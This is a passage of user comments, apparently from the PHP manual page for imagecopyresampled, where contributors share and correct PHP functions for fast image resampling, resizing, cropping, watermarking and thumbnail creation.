    imagecopyresampled ($dst_image, $temp, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h, $dst_w * $quality, $dst_h * $quality);
    imagedestroy ($temp);
  } else imagecopyresampled ($dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
  return true;
}
?>
eblejr AT phrebh DOT com 05-Sep-2007 08:38
Tim's code is fast, but if you're trying to put resampled images anywhere but in the top-left corner, it doesn't work.
Blendermf 05-Jul-2007 05:48
tim, your resampling gives me better results than the gd function. It looks just as good as what my image resizing software does.
kristijan at leftor dot ba 05-Jun-2007 11:09
There is bug in POST from tim at leethost dot com
25-Jan-2007 02:00.

Function work correctly when you making thumb from 0,0 to width/height. But if you want copy resized picture to other coordinates then you must change code in this:

function fastimagecopyresampled (&$dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $quality = 3) {
 if (empty($src_image) || empty($dst_image)) { return false; }
 if ($quality <= 1)
 {
   $temp = imagecreatetruecolor ($dst_w + 1, $dst_h + 1);
   imagecopyresized ($temp, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w + 1, $dst_h + 1, $src_w, $src_h);
   imagecopyresized ($dst_image, $temp, 0, 0, 0, 0, $dst_w, $dst_h, $dst_w, $dst_h);
   imagedestroy ($temp);
 }
 elseif ($quality < 5 && (($dst_w * $quality) < $src_w || ($dst_h * $quality) < $src_h))
 {
   $tmp_w = $dst_w * $quality;
   $tmp_h = $dst_h * $quality;
   $temp = imagecreatetruecolor ($tmp_w + 1, $tmp_h + 1);
   imagecopyresized ($temp, $src_image, 0, 0, $src_x, $src_y, $tmp_w + 1, $tmp_h + 1, $src_w, $src_h);
   imagecopyresampled ($dst_image, $temp, $dst_x, $dst_y, 0, 0, $dst_w, $dst_h, $tmp_w, $tmp_h);
   imagedestroy ($temp);
 } else
 {
   imagecopyresampled ($dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
 }
 return true;
}
rich at corephp dot co dot uk 21-May-2007 12:05
Be wary of this function when resizing images to make them *larger* than the original due to the memory consumption rate. For example a 200KB JPEG file (1024x768) will take up 4MB of memory when loaded, but when resampled to twice the the size the memory use jumps to 20.1MB. imagecopyresized does the same. Allow approx. 5 bytes per *pixel* for memory allowance when dealing with true colour images.
tim at leethost dot com 25-Jan-2007 11:00
Here's a simple plug-and-play replacement to imagecopyresampled that will deliver results that are almost identical except MUCH faster (very typically 30 times faster).  I've been using this function for a few years but figured everyone could benefit from it.

For example, a 10 megapixel camera image (3872x2592 resolution) converted to thumbnail size using the default quality is 60 times faster than using imagecopyresampled (only 0.15 seconds from 8.9 seconds) and the image quality is almost identical.  There's also an optional "quality" parameter that allows you to select the quality you want (1 is lowest quality but fastest, 5 is highest quality but slowest, 3 is default).  All existing imagecopyresampled parameters fully work so it's truly plug-and-play.  It also automatically decides if it would be better to just use imagecopyresampled depending on source and destination image sizes.

My image analysis shows imagecopyresized renders on average 2.4% of pixels significantly different than imagecopyresampled.  These significantly different pixels give imagecopyresized the jagged, blocky, aliasing look.  Using fastimagecopyresampled with a quality of 2, the significantly different pixel rate is reduced to 0.8%.  With a quality of 3 (the default) it's reduced to 0.5% and at a quality of 4 it's reduced to only 0.03% but is still very typically 10-15 times faster for thumbnail creation.

Enjoy!

<?
function fastimagecopyresampled (&$dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h, $quality = 3) {
  // Plug-and-Play fastimagecopyresampled function replaces much slower imagecopyresampled.
  // Just include this function and change all "imagecopyresampled" references to "fastimagecopyresampled".
  // Typically from 30 to 60 times faster when reducing high resolution images down to thumbnail size using the default quality setting.
  // Author: Tim Eckel - Date: 12/17/04 - Project: FreeRingers.net - Freely distributable.
  //
  // Optional "quality" parameter (defaults is 3).  Fractional values are allowed, for example 1.5.
  // 1 = Up to 600 times faster.  Poor results, just uses imagecopyresized but removes black edges.
  // 2 = Up to 95 times faster.  Images may appear too sharp, some people may prefer it.
  // 3 = Up to 60 times faster.  Will give high quality smooth results very close to imagecopyresampled.
  // 4 = Up to 25 times faster.  Almost identical to imagecopyresampled for most images.
  // 5 = No speedup.  Just uses imagecopyresampled, highest quality but no advantage over imagecopyresampled.

  if (empty($src_image) || empty($dst_image)) { return false; }
  if ($quality <= 1) {
    $temp = imagecreatetruecolor ($dst_w + 1, $dst_h + 1);
    imagecopyresized ($temp, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w + 1, $dst_h + 1, $src_w, $src_h);
    imagecopyresized ($dst_image, $temp, 0, 0, 0, 0, $dst_w, $dst_h, $dst_w, $dst_h);
    imagedestroy ($temp);
  } elseif ($quality < 5 && (($dst_w * $quality) < $src_w || ($dst_h * $quality) < $src_h)) {
    $tmp_w = $dst_w * $quality;
    $tmp_h = $dst_h * $quality;
    $temp = imagecreatetruecolor ($tmp_w + 1, $tmp_h + 1);
    imagecopyresized ($temp, $src_image, $dst_x * $quality, $dst_y * $quality, $src_x, $src_y, $tmp_w + 1, $tmp_h + 1, $src_w, $src_h);
    imagecopyresampled ($dst_image, $temp, 0, 0, 0, 0, $dst_w, $dst_h, $tmp_w, $tmp_h);
    imagedestroy ($temp);
  } else {
    imagecopyresampled ($dst_image, $src_image, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
  }
  return true;
}
?>
mr bitmap 17-Nov-2006 04:18
For all those that are using imagecreatefromwbmp() for.BMP files, I believe you are wrong.

imagecreatefromwbmp() is for WBMP image files used for WAP devices not windows BMP images.

I don't think PHP has any built in Windows BMP functions.

There are many examples here that make this mistake.

See the documentation for imagecreatefromwbmp()
caio at daisuki dot com dot br 14-Jul-2006 11:51
Ok guys, the ultimate image merging tool, enjoy:

  function watermark($sourcefile, $watermarkfiles, $destination, $quality=90) {
  /*

    $sourcefile = Filename of the picture to be watermarked.
    $watermarkfile = files to add. Each is: array ( 'filename' => filename , 'position' => position to show(array), 'resample' => new dimension(array) )
       You can omit any except filename
    $destination = jpg or png file to output (jpg if source is jpg, png if source is png). Send blank to direct output
    Sample:

    $batch = array ( array ( 'filename' => "watermark.png",
                             'position' => array(100,0),
                           ),
                    array ( 'filename' => "brilho.png",
                            'position' => array(200,200),
                            'resample' => array(30,30)
                           )
                   );
    watermark("picture.jpg", $batch, "", 90); <--  will add both images in bath on top of picture, preserving transparency

  */

  $ih = getimagesize($sourcefile);
  $ispng = $ih[2] == 3;
  if ($ispng)
    $sourcefile_id = imagecreatefrompng($sourcefile);
  else
    $sourcefile_id = imagecreatefromjpeg($sourcefile);

  $sourcefile_width=imageSX($sourcefile_id);
  $sourcefile_height=imageSY($sourcefile_id);

  foreach ($watermarkfiles as $x => $watermarkfile) {
    $watermarkfile_id = imagecreatefrompng($watermarkfile['filename']);
    imageAlphaBlending($watermarkfile_id, false);
    imageSaveAlpha($watermarkfile_id, true);
    $watermarkfile_width=imageSX($watermarkfile_id);
    $watermarkfile_height=imageSY($watermarkfile_id);

    // resample?
    if (isset($watermarkfile['resample'])) {
      $im_dest = imagecreatetruecolor ($watermarkfile['resample'][0], $watermarkfile['resample'][1]);
      imagealphablending($im_dest, false);
      imagecopyresampled($im_dest, $watermarkfile_id, 0, 0, 0, 0, $watermarkfile['resample'][0], $watermarkfile['resample'][1], $watermarkfile_width, $watermarkfile_height);
      imagesavealpha($im_dest, true);
      imagedestroy($watermarkfile_id);
      $watermarkfile_id = $im_dest;
      $watermarkfile_width = $watermarkfile['resample'][0];
      $watermarkfile_height = $watermarkfile['resample'][1];
    }

    // position ? if none given, centered
    if (isset($watermarkfile['position']))
      list($dest_x,$dest_y) = $watermarkfile['position'];
    else {
      $dest_x = ( $sourcefile_width / 2 ) - ( $watermarkfile_width / 2 ); // centered
      $dest_y = ( $sourcefile_height / 2 ) - ( $watermarkfile_height / 2 ); // centered
    }

    imagecopy($sourcefile_id, $watermarkfile_id, $dest_x, $dest_y, 0, 0, $watermarkfile_width, $watermarkfile_height);
    imagedestroy($watermarkfile_id);
  }
  if ($ispng)
    imagepng($sourcefile_id,$destination);
  else
    imagejpeg($sourcefile_id,$destination,$quality);
  imagedestroy($sourcefile_id);
}
spencejames2000 at yahoo dot co dot uk 13-May-2006 03:27
For anyone suffering from the srcX and srcY bug (some versions of gd ignore them completely - see http://bugs.php.net/bug.php?id=12780 for details), a quick solution is to use this code snippet:

<?php
function imgcopyresampled(&$dst_img, $src_img, $dst_x, $dst_y, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h)
{
    $tmp_img = imagecreatetruecolor($src_w, $src_h);
    $rv2 = imagecopy($tmp_img, $src_img, 0,0, $src_x, $src_y, $src_w, $src_h);
    $rv1 = imagecopyresampled($dst_img, $tmp_img, $dst_x,$dst_y, 0,0, $dst_w, $dst_h, $src_w, $src_h);
    imagedestroy($tmp_img);
    return($rv1 and $rv2);
}
?>

By using imagecopy to extract the relevant portion of the source image, it works a lot more quickly than pike's solution below, and also without the extra blur.

It may be useful to use override_function in existing projects, although I have not tested this myself.
Tyron Madlener (tyron.at) 11-May-2006 10:43
Creating a thumbnail (120x90 pixel) of a big image (3000x2000 pixel) took me about 5 seconds with imagecopyresampled()

Thats pretty much, so I tested a little how I could improve the speed. I found that imagecopyresized is way faster but results in poor quality.
So I combined both - I first reduce the big image via imagecopyresized to 1024x768 pixel and then create the small thumbnail via imagecopyresampled. The resulting quality is almost the same. In my tests, resizing took only about 2.2 seconds now - twice as fast :)

I also tried using that bicubic image resizing function in some earlier post here, but it was only faster when the thumbnails were smaller than 120x90 and the quality was not very good.

Here's the code if you wanna (I guess there are still a few possibilites to do some more optimiztions tough):

<?php
function CreateThumb($file,$maxwdt,$maxhgt, $dest) {
    list($owdt,$ohgt,$otype)=@getimagesize($file);

  switch($otype) {
    case 1:  $newimg=imagecreatefromgif($file); break;
    case 2:  $newimg=imagecreatefromjpeg($file); break;
    case 3:  $newimg=imagecreatefrompng($file); break;
    default: echo "Unkown filetype (file $file, typ $otype)"; return;
  }

  if($newimg) {
    if($owdt>1500 || $ohgt>1200)
            list($owdt, $ohgt) = Resample($newimg, $owdt, $ohgt, 1024,768,0);

    Resample($newimg, $owdt, $ohgt, $maxwdt, $maxhgt);

        if(!$dest) return $newimg;

        if(!is_dir(dirname($dest)))
            mkdir(dirname($dest));

    switch($otype) {
      case 1: imagegif($newimg,dest); break;
      case 2: imagejpeg($newimg,$dest,90); break;
      case 3: imagepng($newimg,$dest);  break;
    }

        imagedestroy($newimg);

    chmod($dest,0644);
  }
}

function Resample(&$img, $owdt, $ohgt, $maxwdt, $maxhgt, $quality=1) {
  if(!$maxwdt) $divwdt=0;
   else $divwdt=Max(1,$owdt/$maxwdt);

  if(!$maxhgt) $divhgt=0;
   else $divhgt=Max(1,$ohgt/$maxhgt);

  if($divwdt>=$divhgt) {
    $newwdt=$maxwdt;
    $newhgt=round($ohgt/$divwdt);
  } else {
    $newhgt=$maxhgt;
    $newwdt=round($owdt/$divhgt);
  }

    $tn=imagecreatetruecolor($newwdt,$newhgt);
    if($quality)
        imagecopyresampled($tn,$img,0,0,0,0,$newwdt,$newhgt,$owdt,$ohgt);
    else
        imagecopyresized($tn,$img,0,0,0,0,$newwdt,$newhgt,$owdt,$ohgt);

    imagedestroy($img);

    $img = $tn;

    return array($newwdt, $newhgt);
}
?>
mracek at xko dot cz 09-Mar-2006 09:01
Here is function which:
- resize and crop (crop format 4:3 or 1:1)
- methode resample/resize
- open jpg, gif, bmp, png
- save jpg (85%), gif, bmp, png
- show images

$FILE_MIMES = array(
'image/pjpeg'=>"jpg",
'image/jpeg'=>"jpg",
'image/jpg'=>"jpg",
'image/png'=>"png",
'image/x-png'=>"png",
'image/gif'=>"gif",
'image/bmp'=>"bmp");
$FILE_EXTS  = array('.jpeg','.jpg','.png','.gif','.bmp');
$MAX_SIZE  = 16777216;

$lng=array(
's_imgDimension'=>array(
       "80",
       "320"
       ),
's_imgCrop'    =>array(
       "- auto -",
       "na sirku",
       "na vysku",
       "ctverec",
       "- zadne -"
       ),
's_imgFormat'    =>array(
       "4/3",
       "1/1"
       ),
's_imgType'    =>array(
       "jpg",
       "png",
       "gif",
       "bmp"
       ),
's_imgMethode'    =>array(
       "resample",
       "resize"
       )
);

function PPimageTransform($photo1,$type1,$dim,$crop,
$format,$methode,$photo2,$type2)
{
if ($photo1!=="" && File_Exists($photo1))
{
   if (!($crop>0 && $crop<5)) $crop=0;
   width=x"
   list($w,$h) = GetImageSize($photo1);
   $w=($w<1)?1:$w;
   $h=($h<1)?1:$h;
   $wh=$w/$h;

   // format
   $format=($format=='4/3')?4/3:1;

   // auto crop
   if ($crop==0)
       {
       $z1=$format-  ($format-1)/2;
       $z2=$format+(1-$format-1)/2;
           if ($wh>$z1) {$crop=1;}
       elseif ($wh<$z2) {$crop=2;}
       else        {$crop=3;}
       }

   // scale
   if ($crop==4)
       {
       $a=$w>$h?$w:$h;
       $scale=$dim/$a;
       $nw=$w*$scale;$nw=($nw<1)?1:$nw;
       $nh=$h*$scale;$nh=($nh<1)?1:$nh;

       $d=array(0,0,floor($nw),floor($nh));
       $s=array(0,0,$w,$h);
       }
   else
       {
           if ($crop==3) {$nw=1;$nh=1;}
       elseif ($crop==2) {$nw=1/$format;$nh=1;}
       elseif ($crop==1) {$nw=1;$nh=1/$format;}
       $nw*=$dim;$nw=($nw<1)?1:$nw;
       $nh*=$dim;$nh=($nh<1)?1:$nh;

       $s1=$nw/$w;
       $s2=$nh/$h;
       $h1=$nh*$s1;
       $w2=$nw*$s2;

       $s1=($h1<=$nh)?$s1:0;
       $s2=($w2<=$nw)?$s2:0;
       $scale=($s1>$s2)?$s1:$s2;
       $scale=($scale<=0)?1:$scale;

       $d=array(0,0,floor($nw),floor($nh));
       $x1=floor(($w-$d[2]/$scale)/2);$x1=$x1<0?0:$x1;
       $y1=floor(($h-$d[3]/$scale)/2);$y1=$y1<0?0:$y1;
       $s=array($x1,$y1,floor($w-2*$x1),floor($h-2*$y1));
       }

   // input/output
   switch($type1)
       {
       case 'jpg': $imgIn = ImageCreateFromJPEG; break;
       case 'png': $imgIn = ImageCreateFromPNG;  break;
       case 'gif': $imgIn = ImageCreateFromGIF;  break;
       case 'bmp': $imgIn = ImageCreateFromWBMP; break;
       default: return FALSE; break;
       }
   switch($type2)
       {
       case 'jpg': $imgOut = ImageJPEG; break;
       case 'png': $imgOut = ImagePNG;  break;
       case 'gif': $imgOut = ImageGIF;  break;
       case 'bmp': $imgOut = ImageWBMP; break;
       default: return FALSE; break;
       }

   // resample (d-destination, s-source)
   $image1 = $imgIn($photo1);
   if ($methode==0)
       {
       $image2 = ImageCreateTruecolor($d[2],$d[3]);
       ImageCopyResampled($image2, $image1,
 $d[0],$d[1], $s[0],$s[1], $d[2],$d[3], $s[2],$s[3]);
       }
   else    {
       $image2 = ImageCreate($d[2],$d[3]);
       ImageCopyResized($image2, $image1,
$d[0],$d[1], $s[0],$s[1], $d[2],$d[3], $s[2],$s[3]);
       }

   // output
   if ($type2=='jpg')
       {$imgOut($image2,$photo2,85);}
   else    {$imgOut($image2,$photo2);}
   ImageDestroy($image2);
   ImageDestroy($image1);
   }
}
dmitry at dest dot by 07-Mar-2006 03:03
Simple script on change of width and automatic creation of height, and also creation of the signature in the right we string to a corner. (Only for Jpg)

function easyResize($img_sourse, $save_to, $quality, $width, $str) {
$size = GetImageSize($img_sourse);
    $im_in = ImageCreateFromJPEG($img_sourse);

    $new_height = ($width * $size[1]) / $size[0]; // Generate new height for image
    $im_out = imagecreatetruecolor($width, $new_height);

    ImageCopyResampled($im_out, $im_in, 0, 0, 0, 0, $width, $new_height, $size[0], $size[1]);

    #Find X & Y for note
    $X_var = ImageSX($im_out);
    $X_var = $X_var - 130;
    $Y_var = ImageSY($im_out);
    $Y_var = $Y_var - 25;

    #Color
    $white = ImageColorAllocate($im_out, 0, 0, 0);

    #Add note(simple: site address)
    ImageString($im_out,2,$X_var,$Y_var,$str,$white);

    ImageJPEG($im_out, $save_to, $quality); // Create image
    ImageDestroy($im_in);
    ImageDestroy($im_out);
}

// $str -  Inscription on the image;
areddan at silverarm dot ie 29-Jan-2006 03:30
$file =$_FILES[userfile];
//name of the input form file upload element is userfile

//$to_file is a full path including filename
//to where you want the thumnail to be copied to .
//example /usr/www/users/www/images/thumbs/thumb1.jpg

copy($file[tmp_name],$to_file) or die("The file $file[tmp_name] you are trying to upload couldn't be copied to $to_file");

//Extra stuff to put into the output to allow for jpeg / png or gif

//replace line: imagegif($thumb2, $fileout); //write to file with the following

switch($format)
       {
           case 'image/jpeg':
           imagejpeg($thumb2, $fileout,90); //write to file
           break;
           case 'image/gif';
           imagegif($thumb2, $fileout); //write to file
           break;
           case 'image/png':
           imagepng($thumb2, $fileout); //write to file
           break;
       }
areddan at silverarm dot ie 27-Jan-2006 09:40
<?php
// The file
$filein = ''; // File in
$fileout = 'ttt.gif'; // Fileout - optional

$imagethumbsize_w = 100; // thumbnail size (area cropped in middle of image)
$imagethumbsize_h = 75; // thumbnail size (area cropped in middle of image)
resize_then_crop( $filein,$fileout,$imagethumbsize_w,
$imagethumbsize_h,/*rgb*/"255","255","255");

//Author Alan Reddan Silverarm Solutions
//Date 27/01/2005
//Function that works well with images.
//It takes the image and reduces its size to best fit. i.e If you have an image
//that is 200 X 100 and you want a thumbnail of 75 X 50,
//it first resizes the image to 100 X 50
//and then takes out a portion 75 X 50 from then center of the input image.
//So loads of image information is retained.
//The corollary also holds if your input image is 100 X 200
//it first resizes image to 75 X 150 and then takes out a
//portion 75 X 75 from the centre
// The advantage here is that function decides on whether
//resize is by width or height itself.
//it also decides whether to use the height or the width as the base start point
//in the case that athumbnail is rectangular

function resize_then_crop( $filein,$fileout,
$imagethumbsize_w,$imagethumbsize_h,$red,$green,$blue)
{

// Get new dimensions
list($width, $height) = getimagesize($filein);
$new_width = $width * $percent;
$new_height = $height * $percent;

   if(preg_match("/.jpg/i", "$filein"))
   {
       $format = 'image/jpeg';
   }
   if (preg_match("/.gif/i", "$filein"))
   {
       $format = 'image/gif';
   }
   if(preg_match("/.png/i", "$filein"))
   {
       $format = 'image/png';
   }

       switch($format)
       {
           case 'image/jpeg':
           $image = imagecreatefromjpeg($filein);
           break;
           case 'image/gif';
           $image = imagecreatefromgif($filein);
           break;
           case 'image/png':
           $image = imagecreatefrompng($filein);
           break;
       }

$width = $imagethumbsize_w ;
$height = $imagethumbsize_h ;
list($width_orig, $height_orig) = getimagesize($filein);

if ($width_orig < $height_orig) {
  $height = ($imagethumbsize_w / $width_orig) * $height_orig;
} else {
    $width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

if ($width < $imagethumbsize_w)
//if the width is smaller than supplied thumbnail size
{
$width = $imagethumbsize_w;
$height = ($imagethumbsize_w/ $width_orig) * $height_orig;;
}

if ($height < $imagethumbsize_h)
//if the height is smaller than supplied thumbnail size
{
$height = $imagethumbsize_h;
$width = ($imagethumbsize_h / $height_orig) * $width_orig;
}

$thumb = imagecreatetruecolor($width , $height);
$bgcolor = imagecolorallocate($thumb, $red, $green, $blue);
ImageFilledRectangle($thumb, 0, 0, $width, $height, $bgcolor);
imagealphablending($thumb, true);

imagecopyresampled($thumb, $image, 0, 0, 0, 0,
$width, $height, $width_orig, $height_orig);
$thumb2 = imagecreatetruecolor($imagethumbsize_w , $imagethumbsize_h);
// true color for best quality
$bgcolor = imagecolorallocate($thumb2, $red, $green, $blue);
ImageFilledRectangle($thumb2, 0, 0,
$imagethumbsize_w , $imagethumbsize_h , $white);
imagealphablending($thumb2, true);

$w1 =($width/2) - ($imagethumbsize_w/2);
$h1 = ($height/2) - ($imagethumbsize_h/2);

imagecopyresampled($thumb2, $thumb, 0,0, $w1, $h1,
$imagethumbsize_w , $imagethumbsize_h ,$imagethumbsize_w, $imagethumbsize_h);

// Output
//header('Content-type: image/gif');
//imagegif($thumb); //output to browser first image when testing

if ($fileout !="")imagegif($thumb2, $fileout); //write to file
header('Content-type: image/gif');
imagegif($thumb2); //output to browser
}
?>
com.hotmail@backglancer 08-Jan-2006 07:32
wrote this for a game I was helping develop:

Auto Tile Maker -- takes the image and cuts it in several smaller pieces, deleting the original... i mean.. this is just for those of you who are lazy, coz the script is simple..
modify at will.

<?
// $newfile is the full address of your newly uploaded file
// $floc = is the location of that file ending with /
// $t is the $_FILES['blah'] of your uploaded file.
// whatever... you guys understand enough to modify this code

$size = getimagesize($newfile);
list($w, $h) = $size;

if ($h > 20 || $w > 20) {
    $type = array_pop($size);
    switch ($type) {
        case 'image/jpeg' : $src_image = imagecreatefromjpeg($newfile); break;
        // insert more cases here :) i'm lazy too
        default : echo 'not an image!'; return;
    }

    $i = 0;
    for ($y = 0; $y < $h; $y += 20) {
    for ($x = 0; $x < $w; $x += 20) {
        $i++; // new file names will be like 1monkey.gif 2monkey.gif etc..
        $new_image = imagecreatetruecolor(20, 20);

        imagecopyresampled ($new_image, $src_image,
            0, 0,
            $x, $y,
            20, 20,
            20, 20
            );
        imagegif($new_image, $floc.$i.$t['name']);
        imagedestroy($new_image);

    } // x
    } // y
    unlink($newfile);
}
?>
smrtak at 4um dot cz 06-Dec-2005 08:48
class cobrazek
    {
        function resizeMaxJpeg($file,$mx,$my,$q=85)
        {
            $dst = cobrazek::resizeMax(imagecreatefromjpeg($file),$mx,$my);
            if(!$dst)
                return false;
            if(!imagejpeg($dst,$file,$q))
                return false;
            return true;
        }
        function resizeMax($src,$mx,$my)
        {
            //zjisti velikost
            $sx = imagesx($src);
            $sy = imagesy($src);
            //spocitej cilovou velikost
            $v = min(min($mx,$sx)/$sx,min($my,$sy)/$sy);
            $dx = $v*$sx;
            $dy = $v*$sy;
            $dst = imagecreatetruecolor($dx,$dy);
            //resample
            imagecopyresampled ($dst,$src,0,0,0,0,$dx,$dy,$sx,$sy);
            //vystup
            return $dst;
        }
    }
pike-php at kw dot nl 14-Nov-2005 11:21
If you have a bug that imagecopyresampled is completely ignoring srcX and srcY (a known and closed bug - http://bugs.php.net/bug.php?id=12780)  you can ofcourse apply two operations to do the same. E.g., instead of saying

ImageCopyResampled($dst_img, $src_img, 0, 0, $srcX, $srcY, $dstW, $dstH, $srcW, $srcH);

you can say

ImageCopyResampled($tmp_img, $src_img, -$srcX, -$srcY, "BUG","BUG", $orgW, $orgH, $orgW, $orgH);
ImageCopyResampled($dst_img, $tmp_img, 0, 0, "BUG","BUG", $dstW, $dstH, $srcW, $srcH);

which has the same effect but is twice as slow and blurry. you may replace "BUG","BUG" with anything you like without sideeffects :)

$2c,
*pike
George_A 07-Nov-2005 11:49
For the best image quality...
How to get new proportional size of the image if the desible size of source image is approximatly equal to needed size. If needed size differs from source size on less than the user factor then transformation isn`t apply.

/**********************************************/
function imageCopyResize($image, $xSize, $ySize, $needed_user_factor, $new_image_path = "")
{
 //example: neded_user_factor = 0.2
 if($xSize == 0 || $ySize == 0)
    return array("At the leat one pair of size is 0",0,0);

 $size = getImageSize($image);
 $width = $size[0];
 $height = $size[1];
 $x_ratio = $xSize / $size[0];
 $y_ratio = $ySize / $size[1];
 if($x_ratio > $y_ratio)    $res_ratio = $y_ratio;
 else $res_ratio = $x_ratio;
 if(abs($res_ratio - 1) > $needed_user_factor)
    {
     $width = ceil($width * $res_ratio);
     $height = ceil($height * $res_ratio);
    }
 $fileinfo = pathinfo($image);
 $file_type = strtolower($fileinfo["extension"]);
 if($file_type == "jpg" || $file_type == "jpeg")
    $src = ImageCreateFromJpeg($image);
 else if($file_type == "gif")
    $src = ImageCreateFromGif($image);
 else if($file_type == "png")
    $src = ImageCreateFromPNG($image);
 else if($file_type == "bmp")
    $src = ImageCreateFromBmp($image);    //Thanks Previous Coder
 else
   return array("Unknown image format: ".$file_type, 0, 0);
 $output_path = ($new_image_path == "")?$image:$new_image_path;
 $dst = ImageCreateTrueColor($width, $height);
 ImageCopyResized($dst, $src, 0,0,0,0,$width, $height, $size[0], $size[1]);
 if($file_type == "jpg" || $file_type == "jpeg")
    ImageJpeg($dst, $output_path, 100);
 else if($file_type == "gif" || $file_type == "bmp")
     ImageGif($dst, $output_path);
 else if($file_type == "png")
    ImagePNG($dst, $output_path);

 ImageDestroy($src);
 ImageDestroy($dst);
 return array("", $width, $height);
}
/**********************************************/
erik at phpcastle dot com 05-Nov-2005 11:21
I've changed the script from info at lontronics dot nl a little bit so the thumbnail is not cutted off when this is not necessary.

<?php
// Resize function

// $pictype is optional. When empty the image will not be cutted off
function resize($filename, $dest, $width, $height, $pictype = "")
{
  $format = strtolower(substr(strrchr($filename,"."),1));
  switch($format)
  {
    case 'gif' :
    $type ="gif";
    $img = imagecreatefromgif($filename);
    break;
    case 'png' :
    $type ="png";
    $img = imagecreatefrompng($filename);
    break;
    case 'jpg' :
    $type ="jpg";
    $img = imagecreatefromjpeg($filename);
    break;
    case 'jpeg' :
    $type ="jpg";
    $img = imagecreatefromjpeg($filename);
    break;
    default :
    die ("ERROR; UNSUPPORTED IMAGE TYPE");
    break;
  }

  list($org_width, $org_height) = getimagesize($filename);
  $xoffset = 0;
  $yoffset = 0;
  if ($pictype == "thumb") // To minimize destortion
  {
    if ($org_width / $width > $org_height/ $height)
    {
      $xtmp = $org_width;
      $xratio = 1-((($org_width/$org_height)-($width/$height))/2);
      $org_width = $org_width * $xratio;
      $xoffset = ($xtmp - $org_width)/2;
    }
    elseif ($org_height/ $height > $org_width / $width)
    {
      $ytmp = $org_height;
      $yratio = 1-((($width/$height)-($org_width/$org_height))/2);
      $org_height = $org_height * $yratio;
      $yoffset = ($ytmp - $org_height)/2;
    }
  //Added this else part -------------
  } else {
      $xtmp = $org_width/$width;
      $new_width = $width;
      $new_height = $org_height/$xtmp;
      if ($new_height > $height){
        $ytmp = $org_height/$height;
        $new_height = $height;
        $new_width = $org_width/$ytmp;
      }
      $width = round($new_width);
      $height = round($new_height);
  }

  $img_n=imagecreatetruecolor ($width, $height);
  imagecopyresampled($img_n, $img, 0, 0, $xoffset, $yoffset, $width, $height, $org_width, $org_height);

  if($type=="gif")
  {
    imagegif($img_n, $dest);
  }
  elseif($type=="jpg")
  {
    imagejpeg($img_n, $dest);
  }
  elseif($type=="png")
  {
    imagepng($img_n, $dest);
  }
  elseif($type=="bmp")
  {
    imagewbmp($img_n, $dest);
  }
  Return true;
}
?>
info at lontronics dot nl 28-Oct-2005 12:08
For an internet photoalbum I was looking for a script which I could simply drop in a directory with images and which would do the rest.
Therefor I am using the following resize script now. I have made the little thumb-part because I want to have all the same size thumbnails, but with as less as possible distortion. Therefor, images with other dimensions are resized, but also cut off a little.

Als $pictype = thumb, the extra dimension calculations are used
$width and $height are the new dimensions of $filename, the image
$dest is the directory where the new image must be copied in.

The script:

// Resize function
function resize($filename, $dest, $width, $height, $pictype)
{
    $format = strtolower(substr(strrchr($filename,"."),1));
    switch($format)
    {
        case 'gif' :
            $type ="gif";
            $img = imagecreatefromgif($filename);
            break;
        case 'png' :
            $type ="png";
            $img = imagecreatefrompng($filename);
            break;
        case 'jpg' :
            $type ="jpg";
            $img = imagecreatefromjpeg($filename);
            break;
        case 'jpeg' :
            $type ="jpg";
            $img = imagecreatefromjpeg($filename);
            break;
        default :
            die ("ERROR; UNSUPPORTED IMAGE TYPE");
            break;
    }

    list($org_width, $org_height) = getimagesize($filename);
    $xoffset = 0;
    $yoffset = 0;
    if ($pictype == "thumb") // To minimize destortion
    {
        if ($org_width / $width > $org_height/ $height)
        {
            $xtmp = $org_width;
            $xratio = 1-((($org_width/$org_height)-($width/$height))/2);
            $org_width = $org_width * $xratio;
            $xoffset = ($xtmp - $org_width)/2;
        }
        elseif ($org_height/ $height > $org_width / $width)
        {
            $ytmp = $org_height;
            $yratio = 1-((($width/$height)-($org_width/$org_height))/2);
            $org_height = $org_height * $yratio;
            $yoffset = ($ytmp - $org_height)/2;
        }
    }

    $img_n=imagecreatetruecolor ($width, $height);
    imagecopyresampled($img_n, $img, 0, 0, $xoffset, $yoffset, $width, $height, $org_width, $org_height);

    if($type=="gif")
    {
        imagegif($img_n, $dest);
    }
    elseif($type=="jpg")
    {
        imagejpeg($img_n, $dest);
    }
    elseif($type=="png")
    {
        imagepng($img_n, $dest);
    }
    elseif($type=="bmp")
    {
        imagewbmp($img_n, $dest);
    }
    Return true;
}
Nicolas dot Grasset at notup2u dot net 20-Oct-2005 11:33
If you are looking for a function that can resample your photos to a given size, no matter its original size and/or ratio, here it is. And to make more fun (beacause life has to be fun), you can even chose a border size for the picture!

$position can either be topleft, topright, bottomleft, bottomright or center.

<?php

function imagecopyresampledselection($filename, $desired_width, $desired_height, $bordersize, $position)
{
    // Get new dimensions
    list($width, $height) = getimagesize($filename);
    if($desired_width/$desired_height > $width/$height):
        $new_width = $desired_width;
        $new_height = $height * ($desired_width / $width);
    else:
        $new_width = $width * ($desired_height / $height);
        $new_height = $desired_height;
    endif;

    // Resize
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image_f = imagecreatetruecolor($desired_width, $desired_height);
    $image = imagecreatefromjpeg($filename);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

    // Adjust position
    switch($position)
    {
        case("topleft"):
            $x = $bordersize;
            $y = $bordersize;
            break;

        case("topright"):
            $x = $new_width - $desired_width + $bordersize;
            $y = $bordersize;
            break;

        case("bottomleft"):
            $x = $bordersize;
            $y = $new_height - $desired_height + $bordersize;
            break;

        case("bottomright"):
            $x = $new_width - $desired_width + $bordersize;
            $y = $new_height - $desired_height + $bordersize;
            break;

        case("center"):
            $x = ($new_width - $desired_width) / 2 + $bordersize;
            $y = ($new_height - $desired_height) / 2 + $bordersize;
            break;
    }

